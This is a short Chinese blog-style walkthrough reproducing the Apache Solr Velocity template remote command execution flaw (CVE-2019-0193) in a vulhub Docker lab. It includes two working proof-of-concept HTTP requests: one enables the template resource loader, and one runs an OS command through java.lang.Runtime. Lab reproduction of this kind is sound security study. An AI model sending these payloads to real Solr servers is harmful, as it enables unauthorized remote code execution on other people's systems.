Apache Solr远程命令如何进行执行复现
发表于:2025-12-02 作者:千家信息网编辑
千家信息网最后更新 2025年12月02日,这篇文章给大家介绍Apache Solr远程命令如何进行执行复现,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。蹭个热度,复现一波:Apache Solr远程命令执行漏洞。环境可以
千家信息网最后更新 2025年12月02日Apache Solr远程命令如何进行执行复现
这篇文章给大家介绍Apache Solr远程命令如何进行执行复现,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。
蹭个热度,复现一波:Apache Solr远程命令执行漏洞。
环境可以使用/vulhub/solr/CVE-2019-0193/的环境,进入目录后直接 docker-compose up -d 如下:

接着访问对应地址可以看到,搭建好的镜像是没有集合的,所以我们需要自行创建一个集合:
通过 docker exec -it 容器ID /bin/bash 进入容器后执行:./solr create -c solr_sample 创建集合如下:
可以从重新浏览器访问一下solr admin,查看集合是否创建成功:
确认成功后即可先通过bp向对应路径发送请求修改params.resource.loader.enabled配置为true,请求如下:
修改完配置以后通过poc即可执行任意命令如图:
相关poc如下:
//修改配置pocPOST /solr/集合名/config HTTP/1.1Host: 192.168.119.134:8983Content-Length: 259{"update-queryresponsewriter": {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}}
//远程代码执行pocGET /solr/solr_sample/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1Host: localhost:8983Host: 192.168.119.134:8983Content-Length: 0
关于Apache Solr远程命令如何进行执行复现就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
命令
配置
成功
内容
容器
更多
环境
帮助
不错
代码
兴趣
地址
小伙
小伙伴
文章
浏览器
漏洞
热度
目录
知识
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
node把数据库传到服务端
网络技术运用于在线课程
微软数据库购买授权
云数据库自动驾驶软件
如何创建单机数据库
城市基础数据库建设的意义
软件开发和测试互怼日常
我的世界非服务器怎么联机
脉享圈app软件开发
开局送32k服务器死亡不掉落
软件开发销售客户分析
软件开发专业知识深度
太原市网络安全知识
网络安全手势图解
青灵网络技术有限公司
薪房互联网科技
云服务器云免
浙江软件开发供应商
2019数据库营销案例
网络安全最牛的人
我是网络安全宣传员电子报
红桥区数据网络技术答疑解惑
ftp服务器叫什么
移动网络安全专家
数据库无法打字
php 将数据写入数据库
新乡市鹏鹏网络技术有限公司
深圳软件开发科技有限公司
如何解决服务器被流量攻击
通信软件开发工程师笔试题